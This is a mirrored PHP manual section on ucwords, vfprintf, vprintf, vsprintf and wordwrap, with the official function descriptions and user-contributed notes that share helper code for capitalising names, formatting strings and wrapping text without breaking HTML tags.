So it's best to simply use strtoupper() or strtolower(strtoupper()) to collate names for searches in a database. Avoid using strtolower() directly, as it won't collate some characters like the german '' into 'ss'.
Capitalizing names is very language dependant: don't do it on address fields such as city names. Prefer uppercasing, or keep the original case if the string must be displayed to a user!
19-Jan-2002 10:14
This seems to be what people want:

function uc_all($string) {
   $temp = preg_split('/(\W)/', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
   foreach ($temp as $key=>$word) {
       $temp[$key] = ucfirst(strtolower($word));
   }
   return join ('', $temp);
}

[ed note: fixed the code to be correct]
Julienc at psychologie-fr dot com
04-Nov-2001 11:06
Its still possible to clean a bit more the previous sample:

$string=strtolower($string); $break=true;
for ($i=0; $i < strlen($string); $i++) { $subed=$string[$i];
if (((ord($subed) > 64) && (ord($subed) < 123)) || ((ord($subed) > 48) && (ord($subed) < 58))) {
if ($break) { $string[$i] = strtoupper($subed); }
$break=false; } else { $break=true; }
}

- Julien
mlong at spammer=0 dot infoave dot net
21-Aug-2001 01:38
An evolution of the previous (a little more compact I think):

$name="ReaLLY s'CREWED Name, JR.";
$break=1;
for ($i=0; $i < strlen($name); $i++)
{
 $subed=substr($name,$i,1);
 # if its a letter or num
 if (((ord($subed) > 64) && (ord($subed) < 123)) ||
     ((ord($subed) > 48) && (ord($subed) < 58)))
 {
  if ($break) { $newname .= strtoupper($subed); }
  else        { $newname .= strtolower($subed); }
  $break=0;
 }
 else
 {
  # not a letter - a boundary
  $newname .= $subed;
  $break=1;
 }
}
echo "$newname\n";
mistcat at mistcat dot com
29-Mar-2001 06:00
Actually that code would work if you changed this line:
$words[0][] = $lastword;
to
$words[0][] = $lastword[0];
neil at no-spam-ents24 dot com
21-Mar-2001 09:10
The code posted above by Joerg Krause only works for a string which ends with one of the delimiters. A possible fix is:

$text = "What?No delimiters,shit happens here.this solves all problems.";
preg_match_all("/(\w+[,. ?])+/U", $text, $words);
preg_match("/(\w+)$/", $text, $lastword);
$words[0][] = $lastword;
foreach($words[0] as $part) $uwords[] = ucfirst($part);
$text = implode("", $uwords);
echo $text;
bobo at ii dot nl
18-Jul-2000 02:42
Mildly annoying, only spaces are considered whitespace by this function. So words right after linebreaks do not get capitalized. An explode/implode can help here.

$temp = explode ("\n", $capthis);
array_walk (&$temp, ucwords);
$capthis = implode ("\n", $temp);
add a note add a note

后退 | 起点 | 前进
ucfirst | 上一级 | vfprintf


vfprintf

(PHP 5)

vfprintf -- Write a formatted string to a stream

Description

int vfprintf ( resource handle, string format, array args )

Write a string produced according to format to the stream resource specified by handle. format is described in the documentation for sprintf().

Operates as fprintf() but accepts an array of arguments, rather than a variable number of arguments.

Returns the length of the outputted string.

See also: printf(),
sprintf(),
sscanf(), fscanf(),
vsprintf(), and
number_format().

Examples

例子 1. vfprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w')))
    return;

vfprintf($fp, "%04d-%02d-%02d", array($year, $month, $day));
// will write the formatted ISO date to date.txt
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ucwords | 上一级 | vprintf


vprintf

(PHP 4 >= 4.1.0, PHP 5)

vprintf -- Output a formatted string

Description

int vprintf ( string format, array args )

Display array values as a formatted string according to format (which is described in the documentation for sprintf()).

Operates as printf() but accepts an array of arguments, rather than a variable number of arguments.

Returns the length of the outputted string.

See also printf(), sprintf(), vsprintf()

add a note add a note User Contributed Notes
WebMaestro (asiby at hotmail dot com)
13-Mar-2005 04:40
<?php
$fruits = array(1, 'banana',1, 'apples', 3, 'oranges', 2, 'peaches');

vprintf("I have %d %s, %d %s, %d %s and %d %s.", $fruits);
?>

Output:

I have 1 banana, 1 apples, 3 oranges and 2 peaches.
add a note add a note

后退 | 起点 | 前进
vfprintf | 上一级 | vsprintf


vsprintf

(PHP 4 >= 4.1.0, PHP 5)

vsprintf -- Return a formatted string

Description

string vsprintf ( string format, array args )

Return array values as a formatted string according to format (which is described in the documentation for sprintf()).

Operates as sprintf() but accepts an array of arguments, rather than a variable number of arguments.

See also sprintf() and vprintf()

add a note add a note User Contributed Notes
jon at ardentcreative dot co dot uk
17-Feb-2006 07:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
   $args = func_get_args();
   $nArgs = func_num_args();

   $phrase = array_shift($args);
   $nArgs--;

   include_once("../lang/" . lang() . "/phrases.php");
   if (isset($GLOBALS['strings'][$phrase])) {
       return vsprintf($GLOBALS['strings'][$phrase], $args);
   } else {
       return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
   }
}
?>
toneee at g mail dot com
20-Dec-2005 01:27
I found this function to be useful for formatting sql queries.

I do something like this:

function sql_build($template, $params = array()) {
  global $sql_templates;
  if (isset($sql_templates[$template])) {
   $sql = vsprintf($sql_templates[$template], $params);
   return $sql;
  }
  return false;
}

// Fetch list of contacts, for a given section id
$sql_templates['contacts_by_section'] = <<<ENDSQL
select
  id,
  name,
  email,
  address,
  photo_id
from
  contacts
where
  section_id = %d
ENDSQL;

You also give yourself an added layer of security on the sql due to the sprintf formatting. For example, using %d will not allow any sql injection for that parameter.
tbS dot P dot A dot M at S dot U dot K dot Staylorbarstow dot com
02-Mar-2005 03:49
Simple but useful routine:

<?php
function vsprintf_iter($fmt,$data) {
   if (!is_array($data)) return false;
   $ret = '';
   foreach ($data as $d) {
       $ret .= vsprintf($fmt,$d);
   }
   return $ret;
}
?>
jed at NOSPAM dot jed dot bz
23-May-2004 09:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
   $args = func_get_args();
   unset($args[0]); /* get rid of "$format" */
   return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
   $args = func_get_args();
   unset($args[0], $args[1]);
   fprintf($GLOBALS['config']['logtargets'][$target],
       "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
   logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.
drm at melp dot nl
30-Jan-2004 01:02
When combining with func_get_args as above, you might want to consider using array_shift:

<?
function someFunc () {
   $args = func_get_args ();
   $format = array_shift ( $args );
   // do something
   return vsprintf ( $format, $args );
}
?>

keeps it clean ;)
samviseNOSPAM at hobbitonNOSPAM dot it
02-Jul-2002 09:55
i wrote a short function that make use of vsprintf. It is useful in first coding/debugging of php scripts, because it is called like a simple printf and it display in italic (you can change it of course ;-) ) every debug messages, making it easy to remove them when your code is ready.

here goes :

<?php
function printd() {
       $debug_array=func_get_args();
       $debug_numargs=func_num_args();
       $debug_fmt=$debug_array[0];
       for ( $i = 0 ; $i < $debug_numargs ; $i++ )
               $debug_array[$i] = $debug_array[$i+1];
       $debug_text=vsprintf($debug_fmt, $debug_array);
       printf("--> debug <i>%s</i>\n",
               $debug_text);
}
?>
add a note add a note

后退 | 起点 | 前进
vprintf | 上一级 | wordwrap


wordwrap

(PHP 4 >= 4.0.2, PHP 5)

wordwrap -- Wraps a string to a given number of characters using a string break character

Description

string wordwrap ( string str [, int width [, string break [, bool cut]]] )

Returns a string with str wrapped at the column number specified by the optional width parameter. The line is broken using the (optional) break parameter.

wordwrap() will automatically wrap at column 75 and break using '\n' (newline) if width or break are not given.

If the cut is set to 1, the string is always wrapped at the specified width. So if you have a word that is larger than the given width, it is broken apart. (See second example).

注: The optional cut parameter was added in PHP 4.0.3

例子 1. wordwrap() example

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

This example would display:

The quick brown fox<br />
jumped over the lazy<br />
dog.

例子 2. wordwrap() example

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", 1);

echo "$newtext\n";
?>

This example would display:

A very
long
wooooooo
ooooord.

See also nl2br() and chunk_split().

add a note add a note User Contributed Notes
Paolo Stefan
11-May-2006 07:13
Hi everyone,
I have modified textWrap(); this one works just fine (the last one had a buggy regular expression!) and also gives you the chance to choose the line separator (3rd param).
Enjoy :)

<?php

function textWrap($text, $size, $separator="\\r\\n" ) {

   $new_text = '';
   $text_1 = explode('>',$text);
   $sizeof = sizeof($text_1);
   $remain = $size;

   for ($i=0; $i<$sizeof; ++$i) {

       $text_2 = explode('<',$text_1[$i]);

       if (!empty($text_2[0])){
           $perl = '/([^\\n\\r .]{'. $remain .',})/i';
           $possibly_splitted= preg_replace( $perl, '$1'.$separator, $text_2[0] );

           $splitted = explode($separator,$possibly_splitted);
           $remain -= strlen($splitted[0]);
           if($remain<=0) $remain = $size;

           $new_text .= $possibly_splitted;
       }

       if (!empty($text_2[1])) $new_text .= '<' . $text_2[1] . '>';
   }
   return $new_text;
}
?>
info [t] travelguides24.com
27-Apr-2006 05:34
this one is nice, because it does not put any linebreaks or empty spaces if there is enough space. It is not propper html as seen by validator.w3.org, but it works on IE and Moz.

function splitLongWords($text, $max) {
   return preg_replace( '/([^\s]{'.$max.'})(?=[^\s])/', '$1<wbr>', $text);
}
ab_at_notenet(dot)dk
17-Apr-2006 09:29
The function for wrapping strings without wrapping the html might need a second parameter (lenght):

<?php
function textWrap($text, $size = 90) {
   $new_text = '';
   $text_1 = explode('>',$text);
   $sizeof = sizeof($text_1);
   for ($i=0; $i<$sizeof; ++$i) {
       $text_2 = explode('<',$text_1[$i]);
       if (!empty($text_2[0])) {
           $new_text .= preg_replace('#([^\n\r .]{'. $size .'})#i', '\\1  ', $text_2[0]);
       }
       if (!empty($text_2[1])) {
           $new_text .= '<' . $text_2[1] . '>';
       }
   }
   return $new_text;
}
?>
EngrKhalid
11-Feb-2006 12:54
I found this function helpful to cut long words without adding spaces:

function fWrap ( $vText, $vMax ) {
   $vWords = explode(" ", $vText);
   foreach ( $vWords as $i =>$w ) {
       if ( strlen ( $vWords[$i] ) > $vMax ) { $vWords[$i] = wordwrap( $vWords[$i], $vMax, "<wbr>", 1 ); }
   }
   return implode(" ", $vWords);
}

Regards.
lean[--]roico[at]gm[--]ail[dot]com
17-Jan-2006 12:37
To @Anthony Catel

Wouldn't be easier, more correct and more simple to cut the words having more characters than the $limit parameter like the following code?

<?
function cut_words( $txt , $limit, $html_nl = 0 )
{
   $str_nl = $html_nl == 1 ? "<br>" : ( $html_nl == 2 ? "<br />" : "\n" );
   $pseudo_words = explode( ' ',$txt );
   $txt = '';
   foreach( $pseudo_words as $v )
   {
       if( ( $tmp_len = strlen( $v ) ) > $limit )
       {
           $final_nl = is_int( $tmp_len / $limit );
           $txt .= chunk_split( $v, $limit, $str_nl );
           if( !$final_nl )
               $txt = substr( $txt, 0, - strlen( $str_nl ) );
           $txt .= ' ';
       }
       else
           $txt .= $v . ' ';
   }
   return substr( $txt, 0 , -1 );
}
?>

For using it this is a sample:
<?
function cut_words( 'big words text here' , 15, 2 );
?>
Anthony Catel (paraboul at gmail . com)
16-Jan-2006 05:56
<?php
   function cut_word($txt, $where) {
       if (empty($txt)) return false;
       for ($c = 0, $a = 0, $g = 0; $c<strlen($txt); $c++) {
           $d[$c+$g]=$txt[$c];
           if ($txt[$c]!=" ") $a++;
           else if ($txt[$c]==" ") $a = 0;
           if ($a==$where) {
           $g++;
           $d[$c+$g]="<br />";
           $a = 0;
           }
       }
       return implode("", $d);
   }
?>

Wrap word for cut only long word :
<?
   cut_word($sentence, 25);
?>
matyx666 at yahoo dot com dot ar
10-Jan-2006 12:19
This function wraps a string with the characters count specified:

   static function cortarCaracteres($sText, $iCharsCount, $sCutWith = "...") {
       $sTextLength = strlen($sText);

       if($sTextLength <= $iCharsCount) {
           return $sText;
       }

       if($sTextLength+strlen($sCutWith) > $iCharsCount) {
           return substr($sText, 0, $iCharsCount-strlen($sCutWith)).$sCutWith;
       }

       $iLeftOverChars = strlen($sCutWith) - ($sTextLength - $iCharsCount);

       return substr($sText, 0, $sTextLength-$iLeftOverChars).$sCutWith;
   }

Regards!
Dave Lozier - dave at fusionbb.com
01-Dec-2005 04:48
If you'd like to break long strings of text but avoid breaking html you may find this useful. It seems to be working for me, hope it works for you. Enjoy. :)

   function textWrap($text) {
       $new_text = '';
       $text_1 = explode('>',$text);
       $sizeof = sizeof($text_1);
       for ($i=0; $i<$sizeof; ++$i) {
           $text_2 = explode('<',$text_1[$i]);
           if (!empty($text_2[0])) {
               $new_text .= preg_replace('#([^\n\r .]{25})#i', '\\1  ', $text_2[0]);
           }
           if (!empty($text_2[1])) {
               $new_text .= '<' . $text_2[1] . '>';
           }
       }
       return $new_text;
   }
frans-jan at van-steenbeek dot R-E-M-O-V-E dot net
16-Nov-2005 10:17
Using wordwrap is usefull for formatting email-messages, but it has a disadvantage: line-breaks are often treated as whitespaces, resulting in odd behaviour including lines wrapped after just one word.

To work around it I use this:

<?php
 function linewrap($string, $width, $break, $cut) {
  $array = explode("\n", $string);
  $string = "";
  foreach($array as $key => $val) {
   $string .= wordwrap($val, $width, $break, $cut);
   $string .= "\n";
  }
  return $string;
 }
?>

I then use linewrap() instead of wordwrap()

hope this helps someone
tjomi4 at yeap dot lv
23-Sep-2005 06:26
utf8_wordwrap();

usage: utf8_wordwrap("text",3,"<br>");
coded by tjomi4`, thanks to SiMM.
web: www.yeap.lv

<?php

function utf8_wordwrap($str,$len,$what){
# usage: utf8_wordwrap("text",3,"<br>");
# by tjomi4`, thanks to SiMM.
# www.yeap.lv
$from=0;
$str_length = preg_match_all('/[\x00-\x7F\xC0-\xFD]/', $str, $var_empty);
$while_what = $str_length / $len;
while($i <= round($while_what)){
$string = preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$from.'}'.
                       '((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'.$len.'}).*#s',
                       '$1',$str);
$total .= $string.$what;
$from = $from+$len;
$i++;
}
return $total;
}
?>
vex
20-Aug-2005 02:19
Useful in chat's, shoutboxes sth. like that (simply written):

$text = explode(" ", $text);
$l=count($text);
$counter=0;

while($counter<=$l) {
$text[$counter] = wordwrap($text[$counter], 20, " ", 1);
$counter++;
}

$text=implode(" ", $text);
pawan at shopsbs dot com
15-Aug-2005 01:32
I wanted to use this function to add a particular text after a certain word count. Here is how I implemented it:

$content = wordwrap($content, 200, "....<br /><!--more-->\n");

Above code adds the text '...<br/><!--more-->\n' after a 200 word count. I know there are a million ways this can be done in PHP. Go PHP!
x403 at yandex dot ru
23-Jun-2005 09:35
String lenght control:

if (str_word_count($STRING) > 0)
   $div = strlen($STRING) / str_word_count($STRING);
else return " ";

if ( $div > 25 ) return wordwrap($STRING, 25, "\n", 1);

return $STRING;

// Maximum word lenght is 25 chars
ajd at cloudiness dot com
14-Jun-2005 05:13
Kyle's preserve_wordwrap is handy after fixing this error:

     $strs = explode($tstr,$br);
should be
     $strs = explode($br,$tstr);
Kyle
01-Jun-2005 02:34
Yet-another-wordwrap-improvement... If you attempt to wordwrap() lines that already contain some line-breaks that you want to maintain, a simple wrapper around wordwrap can help. For example:

function preserve_wordwrap($tstr, $len = 75, $br = '\n') {
     $strs = explode($tstr,$br);
     $retstr = "";
     foreach ($strs as $str) {
         $retstr .= wordwrap($str,$len,$br) . $br;
     }
     return $retstr;
}

I used a function like this for pulling quotes for my email out of a mysql database and formatting them for use in an email. Some quotes had multiple lines (e.g. a short conversation-style quote) that I wanted to maintain yet still word-wrap correctly.
cdblog at gmail dot com
22-May-2005 01:36
note:
if you can't see the example, please change your browser's default encode to Chinese Simplified (GB2312). :)
also, this function maybe will work at other double-bytes language, such as Korean.

<?php
/**
* @return string
* @author Cocol
* @desc the wordwrap for Chinese ,Janpanese
* for more detail please visit http://php.clickz.cn/articles/string/wrodwrap.html
*/
function wordwrap_cn($str = "",$len = 80,$glue = "\n") {
for ($i=0;$i<strlen($str);$i++) {
if (ord(substr($str,$i,1)) > 128) {
$str_arr[] = substr($str,$i,2);
$i++;
} else {
$str_arr[] = substr($str,$i,1);
}
}
$tmp = array_chunk($str_arr,$len);
$str = "";
foreach ($tmp as $key=>$val) {
$str .= implode("",$val).$glue;
}
return $str;
}
//example 1: Chinese test
$str = "";
print wordwrap_cn($str,10);
// will output
/*

//example 2: Janpanese test
*/ $str = "VR";
print wordwrap_cn($str,10);
// will output
/*
V
R
*/

?>
10-May-2005 01:33
Note that wordwrap is meant for...wrapping words.  If you're simply trying to break a string into evenly sized pieces, take a look at chunk_split and str_split.
bruceboughton @ google mail
05-May-2005 06:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)
hokus_123 at hotmail dot com
13-Apr-2005 03:31
for ex. msgbrds where HTML hyberlinks occur, wrapping words will devide long URLs and make them invalid. Here is a "real" wordwrap that does not break up HTML hyberlinks.

<?PHP

function mywordwrap($str, $max = 75, $break = ' ') {

  // create array by deviding at each occurrence of "<a"
  $arr = explode('<a', $str);

  // break up long words in $arr[0] since
  // it will never contain a hyberlink
  $arr[0] = preg_replace('/([^\s]{'.$max.'})/i',"$1$break",$arr[0]);

  // run loop to devide remaining elements
  for($i = 1; $i < count($arr); $i++) {

   // devide each element in $arr at each occurrence of "</a>"
   $arr2 = explode('</a>', $arr[$i]);

   // break up long words in $arr2 that does not
   // contain hyberlinks
   $arr2[1] = preg_replace('/([^\s]{'.$max.'})/i',"$1$break",$arr2[1]);

   // rejoin $arr2 and assign as element in $arr
   $arr[$i] = join('</a>', $arr2);
  }
  // rejoin $arr to string and return it
  return join('<a', $arr);
}

?>
philippe [%a%] niquille [dot] com
12-Mar-2005 02:01
I changed the wordsplit function a bit, so that it returns an array containing all the text chunks, not only the cutted one:

<?
function _split_text($text)
{
$MAX_LENGTH = 160;

  $split=explode(" ",$text);
  $numwords = count($split);
  $i=0; //while counter
  $a = 1; //counts the text chunks

  $amount = ceil(strlen($text)/($MAX_LENGTH-5)); //get total word chunks
  while($i < $numwords){
   $len = (strlen($newtext[$a])+strlen($split[$i])); //get length of the active chunk
     if($len>($MAX_LENGTH-5)){ //do we have to start a new one?
       $a++;
       $newtext[$a] = "[$a/$amount] "; //Adds [1/2]
     }else{
       if($i == 0) $newtext[$a] = "[$a/$amount] ";
       $newtext[$a]=$newtext[$a]." ".$split[$i];
       $i++;
     }
  }
  return $newtext;
}
}
?>

I used the function for a sms sending script to automatically cut the user's message.
webmaster at gzevolution dot net
19-Feb-2005 01:37
Here's one I've being using, feel free to give it a go...

function WrapText($String = "", $BreakAt = 70, $BreakWith = "<br />\n"){
   return preg_replace("#([^\s\"'/\.\\-\?&\n\%<>]{". $BreakAt ."})#i"," {$BreakWith}",$String);
}

Function Parameters In Order:
1st - String
2nd - Break Text After X Characters (Default 70)
3rd - Break Insertion (Default <br />\n)
radaway
01-Feb-2005 06:33
I noticed you guys better wordwrap was erasing some characters so I changed it, namely the line:
substr($str,0,$i-1).$cut.substr($str,$i,$str_len-1);

Hope its of some use.

function even_better_better_wordwrap($str,$cols,$cut) {
   $tag_open = '<';
   $tag_close = '>';
   $count = 0;
   $in_tag = 0;
   $str_len = strlen($str);
   $segment_width = 0;

   for ($i=0 ; $i<=$str_len ; $i++){
       if ($str[$i] == $tag_open) {
       //tamos dentro de uma tag html
           $in_tag++;
           } elseif ($str[$i] == $tag_close) {
           //fechamos uma tag html
               if ($in_tag > 0)
                   $in_tag--;
           } else {
               if ($in_tag == 0) {
           //se nao estamos dentro de uma tag html
                   $segment_width++;
                   if (($segment_width > $cols) && ($str[$i] != " ")) {
               //se passamos o limite de colunas acrescentamos o $cut no sitio
                       $str = substr($str,0,$i-1).$cut.substr($str,$i,$str_len-1);
                       $i += strlen($cut);
                       $str_len = strlen($str);
                       $segment_width = 0;
                   }
               }
           }
   }
   return $str;
}
me at home dot com
22-Dec-2004 07:43
please improve this function i have made to wrap text wider than $need_width pixels...

function wrap_pix($text,$need_width,$separator,$font,$font_size,
       $dim){
   $len = strlen($text);
   $width = 65000;
   $len_left = $interval = floor($len/2);
   do {
       $left = substr($text,0,$len_left);
       if ($left[0] == " ") {
           $left = substr($left,1);
           $text = substr($text,1);
       }
       if ( $left[strlen($left)] == " "){
           $left = substr($left,0,strlen($left)-1);
       }
       $size = imagettfbbox($font_size,0,$font,$left);
       $width = abs($size[2] - $size[0]);
       $interval = 1 > floor($interval/2) ? 1 : floor($interval/2);

       if ( $width <= $need_width-$dim && strlen($left)!=strlen($text)){
           $to = $len < strlen($left)+$interval ? $len : strlen($left)+$interval;
           $left = substr($text,0,$to);
           $len_left = strlen($left);
           continue;
       }
       if ( $width > $need_width+$dim ){
           $left = substr($text,0,strlen($left)-$interval);
           $len_left = strlen($left);
           continue;
       }
   } while ( (($width <= $need_width-$dim) || ($width >
$need_width+$dim)) && strlen($text) != strlen($left));
   if ( $width > $need_width ){
       if (strrchr($left," ")){
           $newlen = strlen($left) - strlen(strrchr($left," "));
           $left = substr($left,0,$newlen).$separator;
           $minus=0;
       }
       else{
           $left = substr($left,0,$len_left-2)."-".$separator;
           $minus = 1;
       }
   }
   if ( $width <= $need_width){
       if ( preg_match("/\.,\-\s\"\'/i",$text[strlen($left)+1])){
           $tmp = substr($text,0,strlen($left)+1);
           $size = imagettfbbox($fontsize,0,$font,$tmp);
           $width = abs($size[2] - $size[0]);
           if ( $width < $need_width ) $left = $tmp;
       }
       else if ( !preg_match("/\.,\-\s\"\'/i",$text[strlen($left)])){
               $newlen = strlen($left) - strlen(strrchr($left," "));
               $left = substr($left,0,$newlen).$separator;
             }
   }
   if (strlen($text)!=0) {
       $return=wrap_pix( substr($text,(strlen($left)-strlen($separator)-$minus)),
             $need_width,$separator,$font,$font_size,$dim);
       $left.=$return;
   }
   return $left;

}
ophir prusak
27-Oct-2004 01:53
There is an error in the documentation. The docs currently say:

If the cut is set to 1, the string is always wrapped at the specified width. So if you have a word that is larger than the given width, it is broken apart. (See second example).

It should be something like this:

If the cut is set to 1, words longer than the given width will be wrapped at the specified width, otherwise they will not be wrapped at all. Words that are not longer than width are not effected by the cut parameter.

Ophir Prusak
grey - greywyvern - com
30-Sep-2004 03:31
Here's an HTML wrapping + nl2br function I developed.  It inserts line-breaks into long strings of characters in HTML-formatted text while ignoring tags and entities.  It also counts each entity as a single character, and only applies nl2br to text nodes.  You can also tell it to ignore whole elements, like <pre> where adding <br /> isn't necessary.

Great for formatting HTML generated by user input.  I distribute simple forum and blog scripts where codes input by the user are translated to HTML.  I send the result through this function to format it correctly and make sure they don't maliciously type in long words in order to break my layout.

http://www.greywyvern.com/code/php/htmlwrap_1.0.php.txt
thr at recide dot net
16-Sep-2004 05:09
An updated function to wrap normal words - and not chars, this will be much faster then the other ones posted previously:

function real_wordwrap($string,$width,$break)
{
   $string = preg_replace('/([^\s]{'.$width.'})/i',"$1$break",$string);
   return $string;
}
sych at php dot com dot ua
20-Aug-2004 04:25
wordwrap doesn't know about UTF and considers a multi-byte utf characters as as many characters as there are bytes in there. However, it will still break correctly on " " and "#" (or all other characters in the ascii range (0-127).

However, this is not a bug as it was only meant to work on iso-8859-*.
mzajonc at pomona dot edu
10-Jun-2003 02:15
Here is another function for soft-hypens.  It could also be used with spaces which is actually probably a reasonable idea since  is not universally supported (ie netscape through 6.2 doesn't handle it).

<?php
/**
 * soft_hypen() inserts soft hyphens (or user defined) in words that exceed certain length.
 *
 * @param $text    Text to hyphenate.
 * @param $max    Max word size.
 * @param $char Hyphenate character.  Defaults to HTML soft hyphen .
 * @return    The text with inserted soft hyphens.
 **/
function soft_hyphen($text, $max, $char = "")
{
$words = explode(' ', $text);
   foreach($words as $key => $word)
   {
       $length = strlen($word);
       if($length > $max)
           $word = chunk_split($word, floor($length/ceil($length/$max)), $char);
       $words[$key] = $word;
   }
   return implode(' ', $words);
}
?>
php at pureftpd dot org
06-Mar-2003 09:46
A fix for wordwrap() is available here :

http://www.42-networks.com/php/wordwrap.patch

The native function will then properly cut words after non-alphanumeric characters, not only after a plain space.
subzane at home dot se
21-Jan-2003 07:48
I use preg_replace instead...
This function doesn't cut in HTML tags, just in the plain text.

<?php
function WrapWords($str, $chars) {
  $str = preg_replace('/([^\s\<\>]{'.$chars.','.$chars.'})/', '\1 ', $str);
  return $str;
}
?>
desolate19 at hotmail dot com
15-Jan-2003 07:18
The wordwrap2 function posted by lteague is exactly what I was looking for.  Unfortunatly it has an error.  It will add the cut string any time a space is encountered outside of a tag since
(!(0 % x)), where x != 0, is always true.

Here's a fixed function with a few other improvments.  Again this function will split a word that is longer that $cols and is outside any HTML tags by the string $cut.  Lines with whitespace in them are ok, only single words over $cols lenght are split.

function wordwrap2($str, $cols, $cut)
{
   $len = strlen($str);
   $tag = 0;
   for ($i = 0; $i < $len; $i++) {
       $chr = $str[$i];
       if ($chr == '<') {
           $tag++;
       } elseif ($chr == '>') {
           $tag--;
       } elseif ((!$tag) && (ctype_space($chr))) {
           $wordlen = 0;
       } elseif (!$tag) {
           $wordlen++;
       }

       if ((!$tag) && ($wordlen) && (!($wordlen % $cols))) {
           $chr .= $cut;
       }

       $result .= $chr;
   }

   return $result;
}
shaun at phplabs dot com
25-Dec-2002 07:24
Here's some code which will turn text into a quoted message, that is, split a chunk of text into wrapped lines and prefix each line of text with a > sign (or some other delimiter). I found myself using this snippet so many times while writing an autoresponder that I just dropped it into a function.

function mailquote($text, $marker){
  $text = str_replace("\n", "\n$marker", wordwrap($text, 70));
  return $text;
}

e.g.

mailquote($text, "> ");

> Would result in a long passage of text
> being broken into multiple lines, each
> line starting with a traditional "quote"
> marker, like this.
lteague at dashf dot com
18-Nov-2002 02:50
Yet Another wordwrap replacement-- this one only splits words if the actual word is longer than $cols, not the line, and it does not break up HTML tags. Perfect for when all you really want to do is prevent malicious message board posts.

function wordwrap2($str,$cols,$cut) {

  $len=strlen($str);

  $tag=0;
  for ($i=0;$i<$len;$i++) {
   $chr = substr($str,$i,1);
   if ($chr=="<")
     $tag++;
   elseif ($chr==">")
     $tag--;
   elseif (!$tag && $chr==" ")
     $wordlen=0;
   elseif (!$tag)
     $wordlen++;

   if (!$tag && !($wordlen%$cols))
     $chr .= $cut;

   $result .= $chr;
  }

  return $result;

}
info*at*cirgo*dot*com
29-Oct-2002 08:59
There was a little bug in the modification of Jeffrey Sambells wordwrap function writen by Alex of oxyscripts.com...

The modified function would cut off the last character of the first half of the clipped string.

The line that reads:
$str = substr($str,0,$i).$cut.substr($str,$i+1,$str_len-1);

Needs to be:
$str = substr($str,0,$i+1).$cut.substr($str,$i+1,$str_len-1);

At least it does on WIN32 platform.

-Billy Olson
http://www.cirgo.com
matt at prototype-productions dot de
28-Oct-2002 04:58
I've extended one of the examples above so it does wrap "words" longer than a specific limit but will (in most cases) not touch any URLs since you may allow links in your messageboard/guestbook:

$message = ereg_replace("([^ \/]{32})","\\1<wbr>",$message);

Note that the slash will usually prevent URLs from being messed up if no single segment is longer than the given limit.
info-at-oxyscripts-dot-com
30-Sep-2002 06:59
Jeffrey Sambells code above has a few errors in it that prevented it working properly, which I have changed so that it works as desired. It will wrap a string properly, and exclude HTML from wrapping.

function even_better_wordwrap($str,$cols,$cut) {
   $tag_open = '<';
   $tag_close = '>';
   $count = 0;
   $in_tag = 0;
   $str_len = strlen($str);
   $segment_width = 0;

   for ($i=0 ; $i<=$str_len ; $i++){
       if ($str[$i] == $tag_open) {
           $in_tag++;
           } elseif ($str[$i] == $tag_close) {
               if ($in_tag > 0) {
                   $in_tag--;
               }
           } else {
               if ($in_tag == 0) {
                   $segment_width++;
                   if (($segment_width > $cols) && ($str[$i] != " ")) {
                       $str = substr($str,0,$i).$cut.substr($str,$i+1,$str_len-1);
                       $i += strlen($cut);
                       $str_len = strlen($str);
                       $segment_width = 0;
                   }
               }
           }
   }
   return $str;
}

Alex
http://www.oxyscripts.com
25-Aug-2002 03:40
Instead of using a space or a newline or <br /> as the line break separator, you may consider inserting  "Soft Hyphens" within the middle of long words, allowing elegant word breaking that can use the effective browser layout that is dependant of the effective font that the browser will use.

The "Soft Hyphen" (SHY) character is part of the STANDARD ISO-8859-1 character set: it won't be displayed (i.e. it will have width 0) if the two parts of a word can be displayed by the browser along on the same layout row. However it allows the browser to find a break in the middle of long words: in that case, it will display the first part of the word before the "Soft Hyphen", and a true Hyphen ("-") on the first layout row (if they both fit on that row), and the next part after the "Soft Hyphen" on the following layout row.

Ideally, each word should contain at least one "Soft Hyphen" between each syllable of a word, unless this would place a "Soft Hyphen" with less than 3 characters from the beginning or end of the word. So "Soft Hyphens" must not be inserted within words with 1 to 5 characters.

The Soft Hyphen is only appropriate within textual words using Latin, Greek, Cyrillic characters). For Semitic languages that use right to left scripts, the "Soft Hyphen" should be replaced by a "Soft Line Break" (also called "Zero Width Non Joiner" in Unicode).

This "Soft Line Break" always has a null display width (i.e. it is never displayed), except that it allows inserting a line break.

Some characters are already implicitly considered followed by a "Soft Line Break" in browsers: the explicit hyphen within composed words (like "week-end"), and all punctuations (with the exception of the dot, and opening punctuations like "({[" which are instead _preceded_ by an implicit "Soft Line Break").

Note also that some new browsers can insert themselves "Soft Hyphens" or "Soft Line Breaks" within long words, if the HTML page explicitly specifies the language, and the words are restricted to the natural characters of that language, using hyphenation rules and/or dictionnaries defined for that language.

